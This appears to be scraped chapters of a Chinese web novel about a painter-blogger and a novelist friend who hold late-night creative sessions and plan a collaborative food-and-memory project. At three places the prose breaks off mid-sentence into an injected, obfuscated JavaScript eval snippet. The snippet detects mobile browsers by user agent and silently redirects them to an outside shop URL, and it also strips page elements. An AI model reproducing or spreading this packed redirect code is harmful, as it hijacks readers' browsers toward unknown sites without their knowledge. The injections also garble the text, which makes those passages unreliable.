最让她感动的一条评论是:“读这篇文章时,我正在加班吃泡面。但你的文字让我想起了食物本应有的温度和意义。谢谢你。” 这条评论让她意识到,写作真的可以连接人,可以在忙碌冷漠的现代生活中,唤起一些被遗忘的温暖和思考。 第二天,鸿雁醒来第一件事就是查看数据。阅读数已经过千,评论多了十几条。更让她惊讶的是,她的小众美食博客平时只有几十的阅读量,这次却吸引了不少新关注者。 “鱿鱼老师写得真好!”一条新评论说,“期待更多这样的文章。” “老师”?鸿雁看着这个词,感到既陌生又荣幸。她只是一个喜欢食物和记录的普通人,现在却被称为“老师”。 霜莉发来消息:“反响不错吧?我说过你的声音值得被听到。” “谢谢你的鼓励和指导。”鸿雁回复,“没有你,我可能永远不会把这些笔记整理成文章。” “不,是你自己的才华和努力。”霜莉说,“我只是帮你看到了你已经拥有的东西。” 接下来的几天,文章继续传播。一个本地美食公众号联系她,想转载这篇文章;一个读书会邀请她去分享创作心得;甚至陈爷爷也听说了,下次她去时,特意多给了半份浇头。 “小鱿鱼出息了。”陈爷爷笑呵呵地说,“写东西好,把老东西记下来,传下去。” 鸿雁带着这些好消息去找霜莉时,霜莉正在书房写作。她停下来,认真听鸿雁讲述这几天的经历。 “所以感觉如何?”霜莉问,“被关注,被认可,被期待。” 鸿雁想了想:“有点压力,但更多的是……感激。感激有人愿意读,有人被打动,有人因此去尝试那些快要消失的老味道。” 她停顿了一下:“但我也在思考接下来写什么。第一篇的成功可能是因为新鲜感,第二篇、第三篇呢?如果我写不出同样质量的东西怎么办?” “那就写不同的东西。”霜莉说,“不必复制成功,而要持续探索。你的优势在于真诚和独特的视角,保持这个,比追求某种固定模式更重要。” 她们讨论了可能的下一篇主题。鸿雁有几个想法:关于传统节令食物的现代化生存,关于菜市场里的人生百态,关于家庭食谱的传承与变迁。 “你可以写一个系列。”霜莉建议,“‘味觉记忆’,就像我们之前讨论的。每篇围绕一个主题,通过食物探讨更大的议题:时间、记忆、传承、变迁。” 这个想法让鸿雁兴奋。她拿出笔记本,开始构思系列框架。霜莉也加入讨论,提出建议,但始终强调:“这是你的系列,你的声音,你的视角。我只提供外部意见,决定权在你。” 这种尊重让鸿雁感到自由。她不必迎合任何人的期待,包括霜莉的;她只需要忠实于自己的观察和感受。 几天后,鸿雁开始写第二篇文章,主题是端午节的粽子。但不是简单的食谱或文化介绍,而是通过几家还在手工包粽子的老店,探讨手艺的传承、节日的商业化、个人记忆与传统习俗的关系。 写作过程比第一篇顺利。有了第一次的经验,她更清楚如何结构文章,如何平衡个人叙述与普遍主题,如何让细节服务整体。更重要的是,她找到了自己的节奏和声音——不是模仿任何人,就是她自己:一个喜欢美食、关心文化、有绘画眼光的记录者。 霜莉读了初稿后,只提了几个小建议,大部分是赞许:“这篇比第一篇更有深度了。你找到了自己的风格:细腻但不煽情,深刻但不晦涩,个人但不狭隘。” 文章发布后,反响比第一篇更好。有读者留言说,读完文章后特意去买了手工粽子,尝到了“记忆中的味道”;有年轻读者说,第一次理解了传统节日的意义;甚至有文化研究者联系她,说她的文章为他们的研究提供了生动的民间视角。 成功带来了更多的机会:有杂志约稿,有活动邀请,有出版社初步接触询问出书意向。鸿雁有些应接不暇,但霜莉提醒她:“保持节奏,不要被机会推着走。记得你为什么开始写作——不是为了出名或赚钱,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122847|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了表达和记录。” 这句话让鸿雁冷静下来。她婉拒了一些商业合作邀请,只接受那些与她的创作理念相符的机会。她决定保持每两周一篇的更新频率,不加快,不妥协质量,不写自己不相信的东西。 一个月后,“味觉记忆”系列已经有了四篇文章,每篇都有稳定的读者群和良好的反响。鸿雁渐渐习惯了“作者”这个身份,但始终提醒自己:写作是为了热爱,不是为了认可;表达是为了连接,不是为了展示。 一天晚上,她和霜莉在常去的茶馆讨论接下来的创作计划。茶馆老板认出了鸿雁:“你就是写阳春面文章的那个鱿鱼吧?写得真好,很多客人看了文章来我们这里吃面。” 鸿雁有些不好意思:“我只是记录了真实的故事。” “但记录本身就是一种力量。”老板认真地说,“很多美好的东西正在消失,记录下来,就多了一份被记住的可能。” 这句话让鸿雁思考了很久。她开始理解霜莉为什么坚持写作,为什么即使不出名也不放弃。文字可以对抗遗忘,可以连接过去与现在,可以在快速变化的时代里,保留一些不变的价值。 “我想继续写下去。”她对霜莉说,“不仅写美食,也写那些与食物相关的人、地方、记忆、文化。做一个长期的记录者。” 霜莉笑了:“你已经是了。而且是一个很好的记录者。” 她们点了茶馆的隐藏菜单点心——这次不是桂花糕,而是新推出的核桃酥。老板说是为了秋天特制的,用的是当季的新核桃。 “你知道吗,”霜莉咬了一口核桃酥说,“看到你找到写作的信心和方向,我比自己写出好作品还高兴。” 鸿雁看着她:“为什么?” “因为创作最美好的部分之一,就是看到种子发芽,成长,开花。”霜莉说,“你本来就有写作的种子,我只是帮忙浇了点水,松了点土。现在看到它茁壮成长,那种喜悦是加倍的。” 鸿雁感到眼眶发热。她一直觉得霜莉是更成熟的创作者,需要她的指导和建议。但现在她意识到,她们的友谊是相互滋养的:霜莉给她写作的信心,她给霜莉新鲜的视角和生活的温度。 “谢谢你。”她真诚地说,“没有你的鼓励,我可能永远只会把想法记在私人笔记本里。” “那将是读者的损失。”霜莉说,“也是我的损失——我就少了一个可以深入讨论创作的朋友。” 那天晚上,鸿雁回到家,打开电脑,开始构思第五篇文章。这次的主题是“秋天的果实”——通过几种秋季水果,探讨自然节律、地域特色、以及人与土地的关系。 写作时,她感到一种前所未有的流畅和自信。不是因为她已经掌握了所有技巧,而是因为她找到了写作的意义:不是表现自己,而是理解世界;不是追求完美,而是记录真实;不是孤独的表达,而是与读者、与传统、与生活的对话。 咪咪跳上书桌,趴在她手臂边。鸿雁轻轻摸了摸猫咪,继续打字。窗外是秋天的夜晚,凉爽而宁静。在这个普通的公寓里,一个画家找到了她的第二支笔,一个记录者开始了她的长途旅行。 而这一切,始于一碗面,一篇文,一份友谊,和一次勇敢的点击。 处女作之后,不是结束,而是开始。不是巅峰,而是起点。不是答案,而是更多的问题和探索。 但鸿雁不再害怕。因为她知道,无论写什么,无论反响如何,至少有一个人会认真读,会理解,会支持。而在这个充满不确定的世界里,有这样一份确定的友谊,就足以给任何创作者前行的勇气。 她保存文档,关掉电脑。明天的太阳升起时,她会继续写,继续画,继续记录这个充满味道的世界。而今天,就到此为止——一个美好的、值得感恩的、充满可能性的今天。 11. 深夜创作会 周三晚上十点,霜莉准时敲响鸿雁家的门。她手里提着两个保温袋:一个装着茶具和几种茶叶,另一个装着今晚的夜宵——红豆汤圆和桂花糕。 鸿雁开门时,还穿着沾有颜料的围裙,手上也有未洗净的彩色痕迹。“刚好,我刚画完今天的部分。”她说,“咪咪,让让,别挡路。” 咪咪正蹲在门口,用审视的目光看着访客。听到主人命令,它不情愿地挪了挪位置,让霜莉进来。糯米则直接从霜莉肩头滑翔到鸿雁家熟悉的猫爬架上,开始它每晚的巡视。 这是她们第三周的“深夜创作会”,已经成为了固定的习惯。每周三晚,两人聚在一起,分享过去一周的创作进展,讨论遇到的问题,互相提建议,然后一起吃夜宵,聊天,有时会继续工作到深夜。 “茶还是老规矩?”霜莉边问边走进厨房,熟门熟路地开始烧水。 “嗯,先来点绿茶清醒一下,晚点再换安神的。”鸿雁脱下围裙,洗手后加入霜莉,“我画了一下午,眼睛有点累。” 两人在厨房里边准备茶点边简单交流近况。霜莉的《云间录》写到第十章,遇到了人物动机的难题;鸿雁的“味觉记忆”系列写到第六篇,正在寻找新鲜的角度。 茶泡好后,她们转移到鸿雁的工作室。这里已经被改造成更适合双人创作的空间:两张桌子并排放置,一张给霜莉写作,一张给鸿雁画画;中间有一个小推车,放茶具、零食和参考资料;墙上有两块软木板,一块贴霜莉的小说大纲和人物关系图,一块贴鸿雁的文章构思和插图草稿。 “先看我的问题吧。”霜莉打开笔记本电脑,“第十章,洛尘要做出一个重要决定:是留在云苓身边,还是回到江湖完成未了的责任。我写了三个版本,但每个都不满意。” 她展示了三个版本:第一个,洛尘选择留下,但显得逃避责任;第二个,洛尘选择离开,但显得冷酷无情;第三个,折中方案,但显得优柔寡断。 鸿雁仔细阅读后,没有立即给出答案,而是问:“洛尘自己怎么想?” “什么?”霜莉没明白。 “我的意思是,你作为作者在思考‘哪个选择更符合人物’,但也许应该让洛尘自己思考。”鸿雁解释,“写一段他的内心挣扎,不急于让他决定,而是展示他权衡的过程。让读者和他一起思考,而不是直接被告知结果。” 霜莉想了想:“你是说,不写‘他选择了什么’,而是写‘他如何选择’?” “对。”鸿雁点头,“选择的结果不重要,重要的是选择的理由和过程。这样即使他最终选择离开,读者也能理解;如果选择留下,也不会觉得突兀。” 这个建议让霜莉豁然开朗。她一直纠结于结果的对错,却忽略了过程的力量。好的故事不是给出正确答案,而是展示复杂的思考。 “那我重写这一章。”她决定,“聚焦于洛尘的内心对话,他与云苓的讨论,他对过去和未来的思考。选择本身可以留到下一章,甚至更晚。” “对,让悬念自然生长,而不是强行解决。”鸿雁说。 接下来轮到鸿雁的问题。她打开自己的文章草稿,主题是“冬天的火锅”。但这篇文章写了两稿都不满意:第一稿太像美食指南,第二稿太个人化,缺乏普遍性。 “我卡在视角上了。”鸿雁说,“火锅是个太大的主题,可以从文化、历史、社会、个人各个角度写。我不知道该聚焦哪里。” 霜莉读了两稿,思考了一会儿:“为什么不写火锅的‘连接’功能?” “连接?” “对。”霜莉说,“火锅不是一个人吃的,是一群人围着吃的。热气腾腾中,人们放下手机,专注当下,分享食物,交流故事。在这个越来越孤独和数字化的时代,火锅提供了一种古老的连接方式。” 鸿雁眼睛亮了:“这个角度好!我可以写不同场景下的火锅:家庭团聚的火锅,朋友聚会的火锅,商业应酬的火锅,独自一人的火锅——每种都有不同的连接质量。” “还可以加入火锅的历史。”霜莉补充,“古代的‘围炉’传统,不同地区的火锅文化,火锅的演变如何反映社会变迁。” 思路打开后,鸿雁感到写作的阻碍消失了。她开始做笔记,画思维导图,很快有了清晰的框架。 问题讨论完,两人开始各自工作。工作室里只有键盘敲击声、画笔摩擦声和偶尔的喝茶声。这种安静的共处有一种特别的生产力:既专注又放松,既独立又陪伴。 一小时后,霜莉完成了第十章的重写大纲。这次不再纠结于结果,而是深入挖掘洛尘的内心世界。她发现,当允许人物有复杂性和矛盾性时,写作反而更自由、更真实。 鸿雁则完成了“火锅”文章的提纲,决定从个人记忆入手,逐步扩展到文化观察。她还画了几张草图:火锅热气中的模糊人脸,不同火锅食材的排列,围坐火锅的人们手部特写。 “休息一下?”霜莉看了看时间,已经十一点半。 “好,夜宵时间。”鸿雁保存文档,伸了个懒腰。 两人来到厨房,加热红豆汤圆。甜品的香气很快弥漫开来。咪咪和糯米也凑过来,得到它们的小份——无糖版本。 “你知道吗,”霜莉吃着汤圆说,“这种定期的创作会真的很有帮助。不仅仅是解决问题,更是保持创作节奏和动力。” 鸿雁点头:“我以前画画很随性,想画就画,不想画就停很久。但有了这个约定,我会为了周三的分享而保持每周的创作量。” “而且互相的反馈很有价值。”霜莉说,“自己看自己的作品容易盲点,别人的视角能指出看不到的问题。” 她们聊起创作中的各种小发现:霜莉发现早上写作效率更高,鸿雁发现下午画画状态最好;霜莉喜欢在安静环境中写作,鸿雁喜欢有点背景音乐;霜莉修改时会打印出来读,鸿雁修改时会在平板上直接标注。 这些看似琐碎的细节,实际上构成了各自的创作生态。分享这些,不仅增进了理解,也丰富了彼此的方法库。 夜宵吃完,她们没有立即回去工作,而是坐在客厅沙发上,继续聊天。话题从创作扩展到生活,从生活扩展到梦想。 “你希望《云间录》达到什么?”鸿雁问,“出版?影视化?还是别的?” 霜莉想了想:“最初只是希望写完一个完整的故事。现在希望它能触动一些人,让他们在我的江湖里找到一点安慰或启发。至于形式……如果能出版当然好,但不是为了出名,而是为了让故事走得更远。” “那你的‘味觉记忆’系列呢?”霜莉反问。 鸿雁抱着咪咪,思考着:“我想做一个完整的记录,也许最终是一本书,有文字有插图,有故事有思考。但最重要的是,通过这个系列,梳理我自己对食物、文化、生活的理解。出版是副产品,不是目的。” 这种对创作本质的理解让两人感到共鸣。在急于求成、追求流量的时代,她们选择了慢下来,深入下去,注重过程而非结果,注重表达而非展示。 “有时候我会想,”霜莉轻声说,“我们这样是不是太理想主义了?不追求商业成功,不迎合市场趋势,只写自己想写的东西。” “但如果不这样,我们为什么要创作呢?”鸿雁反问,“为了别人的认可?为了经济回报?那些当然重要,但不能成为主要动力。主要动力应该是内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122848|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的:有话想说,有东西想表达,有世界想探索。” 霜莉点头。确实,如果失去了内在动力,创作就变成了工作,而不是热爱。 午夜时分,她们回到工作室,但不再工作,而是开始一个放松的活动:随机创作练习。这是鸿雁提出的主意——每周创作会结束时,做一个与主要项目无关的小练习,保持创造力的灵活性。 今晚的练习是“交换视角”:霜莉用鸿雁的视角写一段关于颜色的文字,鸿雁用霜莉的视角画一幅关于声音的图像。 霜莉写道:“蓝色不只是颜色,是深度,是距离,是清晨未醒的梦,是海水覆盖的秘密,是祖母瓷碗上的裂纹,是忘记名字的花瓣,是等待被说出的词语之间的沉默。” 鸿雁画了一幅抽象画:不同粗细、深浅、曲直的线条交织,像是声音的波形图,又像是音乐的视觉化。她在旁边标注:“风声穿过竹林,水沸前的低鸣,笔尖摩擦纸面,深夜的呼吸,未说出口的话语。” 交换作品后,两人都笑了。这种练习没有压力,只有探索的乐趣。它提醒她们,创作可以轻松,可以游戏,可以跳出自己的习惯和舒适区。 凌晨一点,创作会正式结束。霜莉收拾东西准备离开,鸿雁帮她打包剩下的桂花糕。 “下周见。”霜莉说,“希望到时候我的第十章能写完,你的火锅文章能完成。” “一定。”鸿雁说,“不过如果没完成,也不要紧。重要的是持续前进,哪怕慢一点。” 走在回家的夜路上,霜莉感到一种平静的充实。每周的创作会不仅是工作的检查点,也是心灵的充电站。在分享中,她不仅解决了创作问题,也确认了自己不是孤独的——有一个同伴在平行的轨道上,朝着相似的方向前进。 到家后,她没有立即睡觉,而是在日记本上写下今晚的收获。这不是任务,而是习惯——记录创作过程中的思考和成长。 “今晚鸿雁说:‘选择的结果不重要,重要的是选择的理由和过程。’这让我想到,不只是写作,生活也是如此。我们太注重结果的成功与否,却忽略了过程中的学习和成长。” 写到这里,霜莉停下来思考。确实,她的写作之路如果只看结果——尚未出版,读者有限——可能会感到沮丧。但看过程:她完成了一部长篇的大部分,人物在成长,故事在深化,技巧在进步,更重要的是,她找到了创作的乐趣和意义。 这不是失败,而是正在成功的过程中。 她合上日记本,准备睡觉。糯米已经在它的小窝里蜷成一团,发出均匀的呼吸声。霜莉轻轻摸了摸它,关掉台灯。 黑暗中,她回想今晚的对话,鸿雁的话在耳边回响:“如果不这样,我们为什么要创作呢?” 是啊,为什么要创作呢?不是为了证明自己,不是为了取悦他人,不是为了追求成功。而是因为,创作是她理解世界的方式,是她表达自我的途径,是她连接他人的桥梁,是她生命中不可或缺的部分。 而在这个过程中,有一个可以分享、讨论、互相支持的朋友,是额外的礼物,是照亮道路的灯光,是让旅程不再孤独的陪伴。 霜莉闭上眼睛,嘴角带着微笑。下周的创作会,下下周的,下下下周的……她已经开始期待。不是因为会解决多少问题,而是因为,在那个共享的空间和时间里,创作变得不仅是工作,也是友谊,是成长,是生活本身的美好部分。 而这一切,始于一个简单的约定:每周三晚,一起创作,一起分享,一起前进。 深夜的城市逐渐安静,但在这个小小的公寓里,一个创作者的心中,故事在继续生长,友谊在继续深化,明天在继续等待。 12. 意外的灵感 周六下午,霜莉在鸿雁的工作室帮忙整理画作。鸿雁最近完成了一系列节气插图,准备与霜莉的《云间录》相应章节配合发布。画作摊满工作台和地板,两人正在讨论如何编排顺序。 “惊蛰这张放在春分前面,但雨水应该在惊蛰之前……”鸿雁翻看着画作,眉头微皱。 霜莉拿起“雨水”那张画:细雨中的山林,隐约可见云苓的小屋,窗内透出温暖灯光,屋檐下挂着草药。“这张很美,有种安静的期待感。” “但故事里,雨水节气时发生了什么?”鸿雁问,“我需要让插图与你的文字呼应。” 霜莉回想那一章:“雨水时节,春雨连绵,洛尘的旧伤有些反复,云苓为他调整药方。两人在屋里整理药材,窗外雨声不断,有一种与世隔绝的安宁。” 鸿雁点点头,在画作背面记下笔记。这时,她注意到霜莉正专注地看着另一幅画——那是“大雪”节气,画面中是雪夜的山林,云间食肆窗内透出的光格外温暖,门外雪地上有一行新鲜的足迹。 “你喜欢这张?”鸿雁问。 “这张让我想起……”霜莉顿了顿,“我还没写到的情节。大雪封山时,应该会有迷路的旅人找到食肆,云苓和洛尘接待他,然后发现这位旅人带来了外界的消息,或者他本身就是某个故事的开始。” 鸿雁眼睛亮了:“这个情节好!大雪、孤灯、意外的访客——很有戏剧性,又自然合理。” 两人顺势坐在地板上,周围是散落的画作。咪咪和糯米在画作间小心行走,似乎知道这些纸很重要。 “你知道吗,”霜莉说,“看着这些画,我经常会冒出一些原本不在大纲里的情节。不是主要的剧情转折,而是那些丰富世界和人物的细节。” “比如?”鸿雁感兴趣地问。 霜莉拿起“立秋”的画——那是她们一起做茯苓饼后,鸿雁根据实际体验创作的。画面中,云苓在厨房制作茯苓饼,洛尘在一旁帮忙,窗外是初秋的山景。 “看到这张,我就想写一个完整的厨房场景:不仅仅是做茯苓饼,还有他们日常的烹饪过程。云苓如何根据季节和洛尘的身体状况调整饮食,洛尘如何从完全不懂到逐渐学会帮忙,厨房里的对话如何透露他们的性格和关系变化。” 鸿雁认真听着,然后说:“这让我想到,我的‘味觉记忆’系列也可以有更个人的角度。不仅仅是记录食物和文化,也可以写食物如何影响人际关系,如何成为情感的表达。” 她翻出最近的笔记:“比如,我上周去采访的那位做手工酱油的老师傅,他提到酱油不只是调味品,还是时间的沉淀。他说,做酱油就像养孩子,需要耐心和关注。这让我想到,人与人之间的关系也需要这样的耐心和关注。” 霜莉被这句话触动:“这可以成为《云间录》的一个主题:疗伤不只是治疗身体,更是修复人与人的连接,重建对时间和生活的耐心。” 两人越聊越深入,发现彼此的创作可以互相启发,不仅仅是表面的配合,更是深层的对话。霜莉的文字给鸿雁的绘画提供叙事深度,鸿雁的绘画给霜莉的文字提供视觉灵感和细节质感。 “我有个想法。”霜莉突然说,“也许我们可以做一个真正的合作项目,不是简单的一文一图,而是围绕同一个主题,从不同角度创作,形成对话。” 鸿雁坐直了:“具体怎么操作?” “比如,我们选一个主题:比如‘记忆中的味道’。”霜莉整理思路,“我写一个短篇故事,关于一个通过食物寻回记忆的角色;你写一篇散文,关于食物与个人记忆的关系;你再画一系列插图,捕捉那些与记忆相关的食物和场景。文字和图像不是互相解释,而是互相补充,共同构建一个更丰富的整体。” 鸿雁思考着这个提议,眼睛越来越亮:“这比单纯的插图或配文有意思多了。是真正的对话,是两种创作语言的交流。” 她们开始具体规划。第一个合作主题定为“传承”——关于手艺、记忆、文化的传递。霜莉会写一个关于师徒传承的故事,鸿雁会写一篇关于传统食物手艺传承的散文,并配一系列相关画作。 “但我们要保持各自的独立性。”鸿雁强调,“不是为对方创作,而是围绕同一主题平行创作,然后看看会产生什么样的共鸣和对话。” “对。”霜莉赞同,“就像两棵不同的树,生长在同一片土壤,分享阳光雨露,但各自保持自己的形态和生长节奏。” 这个想法让两人都很兴奋。她们立即开始头脑风暴,霜莉在笔记本上写下故事构思,鸿雁在速写本上勾勒画面想法。工作室里充满了创作的能量,连咪咪和糯米都安静下来,似乎不想打扰这个重要的时刻。 “我的故事里,”霜莉边写边说,“主角是一位老厨师的徒弟,老师傅即将退休,要把祖传的食谱传给他。但这不是简单的传授,而是通过每一道菜,讲述菜背后的故事、家族的历史、生活的智慧。” “我的散文可以从采访真实的手艺人入手,”鸿雁接话,“写他们为什么坚持,面临什么困难,传承的意义是什么。然后扩展到更广的思考:在这个快速变化的时代,什么是值得传承的?如何传承?” 她们讨论了细节:霜莉的故事设定在民国时期的酒楼,鸿雁的散文聚焦当代的传统手艺人;霜莉注重人物和情感,鸿雁注重观察和思考;霜莉的故事有完整的情节弧线,鸿雁的散文有层层深入的探究。 “插图方面,”鸿雁翻着速写本,“我可以画一系列‘手’的特写:老厨师的手,年轻学徒的手,制作食物的手,传递工具的手。手是传承的象征,是技艺的载体。” “而我的故事里,”霜莉补充,“会有关键的‘手’的细节:老师傅手把手教徒弟切菜的姿势,传递食谱时颤抖的手,最后徒弟独立完成菜品时坚定有力的手。” 这种呼应不是刻意的,而是从同一主题自然生长出来的。两人发现,当她们深入探讨一个主题时,即使从不同角度出发,也会在某些点上交汇,产生奇妙的共鸣。 计划初步成型后,她们决定先各自创作第一部分,下周三的创作会上分享进度。 “这可能会失败。”鸿雁坦诚地说,“第一次尝试真正的合作创作,可能会有不协调,可能会有分歧。” “但值得尝试。”霜莉说,“即使失败,我们也会从中学到东西。而且,我觉得不会失败——我们的创作理念如此契合,只是需要找到合适的形式。” 那天下午剩下的时间,她们没有继续整理画作,而是沉浸在新项目的构思中。阳光从工作室窗户斜射进来,在画作和笔记上投下温暖的光影。两人坐在地板上,周围是散落的纸张,但心中是清晰的方向。 傍晚时分,霜莉准备离开。鸿雁送她到门口,突然说:“你知道吗,遇见你之前,我画画和写东西都只是个人爱好,没想过与别人深入合作。但现在我觉得,创作可以有不同的模式,可以是个人的探索,也可以是共享的旅程。” 霜莉微笑:“我也有同感。写作往往是孤独的,但有一个人可以深入讨论创作,可以让这个过程丰富很多。不只是得到反馈,更是得到理解、共鸣和启发。” 离开鸿雁家后,霜莉没有直接回家,而是去了常去的茶馆。她需要一点独处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122849|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间,消化今天的想法,开始新的创作。 坐在老位置上,点了一壶茶,她打开笔记本,开始写合作故事的开头。不是《云间录》,而是全新的尝试,一个关于传承、食物和记忆的故事。 她写得很流畅,仿佛这个故事已经在心中酝酿很久,只是等待合适的时机出现。人物自然浮现,场景自然展开,对话自然流淌。这种创作的顺畅感让她惊喜——不是因为技巧的纯熟,而是因为灵感的充沛。 茶馆老板过来续水时,瞥见了她的笔记本:“新故事?” “嗯,和朋友的合作项目。”霜莉回答。 “和朋友一起创作啊,真好。”老板感慨,“我以前也和朋友合伙开过店,那种共同努力的感觉,比独自奋斗温暖得多。” 霜莉点点头。确实,创作可以是孤独的追求,也可以是共享的旅程。而这两种模式并不矛盾,可以交替,可以结合,可以互相滋养。 晚上回到家,她继续写作,直到深夜。糯米在她肩头打盹,偶尔醒来看看屏幕,又继续睡去。安静的夜晚,键盘声是唯一的旋律。 睡前,她检查邮箱,发现鸿雁发来了第一张草图——一双苍老的手正在揉面,手的纹理、关节的凸起、面粉的痕迹都细致入微。图下有一行小字:“传承从手开始。” 霜莉回复:“我的故事也从手开始——学徒第一次握住厨刀时,老师傅说:‘刀是手的延伸,手艺是心的延伸。’” 鸿雁很快回复:“完美呼应。看来我们的合作会很有趣。” 关闭电脑,霜莉躺在床上,回想着今天的对话和灵感。她感到一种创作的丰盈感——不是疲惫的产出,而是源源不断的涌现。这种状态已经很久没有出现了,而现在,因为一次意外的灵感,一次深入的合作讨论,它回来了。 她意识到,创作瓶颈往往不是因为才华枯竭,而是因为视角固化。与鸿雁的交流,尤其是今天关于合作创作的讨论,打破了她的固有模式,打开了新的可能性。 不只是为《云间录》配插图,不只是为“味觉记忆”系列提供建议,而是真正的共同创作,围绕同一主题从不同角度探索,形成对话和互补。 这种创作模式让她兴奋,也让她有一点紧张。但更多的是期待——期待看到两种不同的创作语言如何交流,期待发现自己未曾意识到的潜力,期待与朋友一起创造比各自单独创作更丰富的东西。 窗外的城市渐渐安静,但霜莉的心中充满声音:故事的声音,对话的声音,创作的声音。这些声音不嘈杂,而是和谐的,像多声部的音乐,各自独立又相互呼应。 她闭上眼睛,让这些声音在脑海中沉淀、组合、生长。明天,她会继续写作;下周三,她会与鸿雁分享进展;未来,她们会完成这个合作项目,然后开始下一个。 创作的路还很长,但现在,她不是独自前行。有一个伙伴在平行的轨道上,有时交汇,有时分离,但始终在同一个方向上,分享着对创作、对生活、对美的理解和追求。 这或许就是最好的创作状态:既有个人的深度,又有共享的广度;既有独立的思考,又有对话的丰富;既有专注的沉浸,又有开放的交流。 霜莉带着这些思绪入睡,梦中是交错的故事和画面,是对话的文字和图像,是两棵在同一片土壤中各自生长又相互映照的树。 而这一切,始于一个下午的整理工作,一次意外的灵感,一份愿意尝试新可能的勇气,和一段让创作不再孤独的友谊。 明天,故事继续。但今晚,就让灵感在梦中发酵,让友谊在寂静中生长,让创作在期待中等待黎明的开始。 13. 笔名风波 周六上午,鸿雁的工作室里弥漫着咖啡和新鲜松饼的香气。两人坐在工作台前,面前摊开的是她们第一个合作项目“传承”的初稿和草图。但此刻,她们卡在了一个看似简单却让人纠结的问题上:笔名。 “我们得给这个合作项目起个名字。”霜莉转着笔说,“不是系列名‘传承’,而是我们作为创作组合的名字。” 鸿雁咬了一口松饼,含糊地说:“为什么要组合名?我们各自用各自的笔名不就好了?” “但这是一个整体作品。”霜莉解释,“文字和图像不是分开的,是互相呼应的。需要一个统一的标识,让读者知道这是同一个创作理念下的两个表达。” 鸿雁思考着,又咬了一口松饼:“那你有什么想法?” 霜莉翻开笔记本,上面列了一串名字:“‘青砚与鱿鱼’、‘文字与画笔’、‘时味工坊’、‘双生创作’……” “‘青砚与鱿鱼’太直白了。”鸿雁摇头,“‘文字与画笔’又太普通。‘时味工坊’不错,但听起来像个美食品牌。‘双生创作’……嗯,有点意思,但不完全准确。” 霜莉自己也觉得这些名字不够好。她靠在椅背上,看着工作室墙上贴的各种画作和便签。阳光透过窗户洒进来,为杂乱的空间增添了几分温暖。 “你的笔名‘青砚’是怎么来的?”鸿雁突然问。 霜莉笑了:“其实没什么深意。大学时我开始写东西,喜欢古风,想要一个带点文人气的名字。‘青’是喜欢的颜色,‘砚’是文房四宝之一,合起来就用了。” “那我的‘鱿鱼’就更是随便了。”鸿雁耸耸肩,“不过用久了,还挺喜欢。简单,好记,带点自嘲。” 糯米从书架上滑翔下来,准确地落在工作台上,好奇地看着摊开的笔记本。咪咪也跳上来,凑近闻了闻松饼,但被鸿雁轻轻推开。 “我们的创作组合应该体现我们的特点。”霜莉说,“我是文字,你是图像;我偏向古风叙事,你偏向现代观察;我写故事,你记录现实;但我们都关注食物、记忆、人情……” 鸿雁眼睛一亮:“就像我们前几天讨论的,我们的创作是对话,不是合并。是两个独立的声音围绕同一主题的交响。” “交响……”霜莉重复这个词,“‘二重奏’?‘双声道’?‘对话创作’?” “‘对话’这个词好。”鸿雁说,“我们的作品就是两种创作语言的对话。但‘对话创作’作为组合名还是有点正式。” 她拿起画笔,在速写本上随手写下几个词:对话、交流、回应、共鸣。然后又画了两个相交的圆圈,一个标着“文”,一个标着“图”,交集处画了个小盘子。 “食物是我们的交汇点。”霜莉看着草图说,“文字和图像通过食物这个主题相遇。” “那组合名应该包含这个意思。”鸿雁继续画着,“‘食话’?‘味谈’?‘文图食间’?” 霜莉摇摇头:“这些要么太直白,要么太造作。” 讨论陷入僵局。两人沉默地吃着松饼,喝着咖啡。糯米爬到了霜莉肩头,咪咪则窝在鸿雁腿上。工作室里只有咀嚼声和偶尔的鸟鸣。 “你知道吗,”霜莉突然说,“我最喜欢我们创作过程中的那些时刻:一起研究古方,一起探访老店,一起讨论人物动机,一起解决创作难题。那些时刻里,我们不只是作者和画者,更是探索者和理解者。” 鸿雁点头:“就像那次茯苓饼,我们不只是复原一道古方,更是通过它理解古人的生活智慧和审美。那次大雪插图的讨论,不只是构思一个场景,更是通过它探索意外相遇的意义。” 霜莉心中一动:“‘探索者’……‘理解者’……我们的组合名应该体现这种精神:不只是产出作品,更是通过创作探索和理解世界。” “但‘探索者组合’听起来像探险队。”鸿雁笑道。 “‘寻味者’?”霜莉尝试,“我们都通过味道寻找意义。” “‘寻’字不错。”鸿雁思考着,“寻找、探寻、追寻……我们的创作就是一种追寻:追寻记忆,追寻理解,追寻连接。” 